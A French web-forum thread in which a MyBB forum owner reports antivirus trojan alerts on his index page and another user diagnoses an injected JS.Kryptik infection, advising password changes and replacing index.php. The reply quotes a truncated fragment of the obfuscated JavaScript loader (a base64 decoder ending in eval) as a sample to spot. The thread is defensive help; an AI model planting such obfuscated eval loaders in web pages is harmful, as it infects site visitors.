Trojan sur l'index de mon forum mybb

[Tommo021]

Bonjour,

J'ai des alertes antivirus quand je vais sur l'index de mon forum :
http://www.forum.francoscape.net/index.php

J'utilise la version 1.6.8 de mybb avec php 5.3.10.

J'ai des alertes avec Kaspersky et avast :

screen Kaspersky :
http://i50.tinypic.com/148nosn.png

screen Avast :
http://www.francoscape.net/avast.png

J'ai le même problème avec un autre forum mybb hébergé sur le même serveur : http://francoscape.net/egc71/index.php
c'est pour cela que j'en conclue que ça vient de mybb.
Je n'ai aucune autre alerte que cela soit sur les autres pages du forum ou sur mon site.

Si vous avez une idée pour m'aider ou une piste pour résoudre le problème je vous en serai très reconnaissant.
En attendant si vous avez besoin de n'importe quelle information n'hésitez pas à me contacter.

merci,

Thomas.

[spyto]

Effectivement, Eset aussi m'interdit ta page et y trouve le troyan JS.Kryptik.AAN.

Ce n'est pas MyBB.
Il semble que ton système est infecté et que ton mot de passe est éventé...
Change tous tes mots de passe en priorité et supprime les fichier index.php à la racine.
Réuploade le fichier et change aussi tes mots de passe cPanel.
Il se peut aussi que ton mot de passe FTP soit cracké...

Ouops... il semble que le problème soit réglé le temps que je fasse mes recherches ?

[Tommo021]

Non ce n'est pas réglé, je l'ai aussi une seule fois et après je peux revenir sur cette page sans avoir d'alertes.

Par contre si j'y retourne le lendemain, rebelotte.
Je vais essayer ce que tu m'as conseillé dans ton message ci-dessus.

[spyto]

Moi, je n'y trouve toujours rien ! Aucune alerte.

Un petit lien :
http://forums.cpanel.net/f34/why-my-index-files-server-infected-javascript-kryptik-b-troyano-100141.html

Le trojan se présente sous la forme d'un JavaScript encodé, un truc comme ça :

Code :

<script language="JavaScript">var wJjZIf={ou:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",i11Ojos:function(WlsrpEG){var gruMqF0vy="",qsHiSfFA5UD0C0,Ook8UnFsAzpv8,uQqDFZKnr,kXMqka9Zkc,pICrUeduf35SE,SZrTnjYXQ.
... etc... Dx7InabPFAACUij0FHbPCXAC7amCDAw7a7DzFBm@Db7Pa7D4zU37ab7DB7gTnsyD0XCPCxXwNsq@NUAP​NsvwNzACHxDDF7CAFz4TzzG@zzt@DYB@zyhCDobBasvwDUz7NBKTPyc05Svl";eval(K3EEJ(e6RMPV));</script>

Il est donc facile à repérer sur le FTP. Là il n'est pas actif, mais dès que tu ouvres ta page dans le navigateur..

Mais savoir comment il est arrivé là ? Toutes les suppositions sont permises...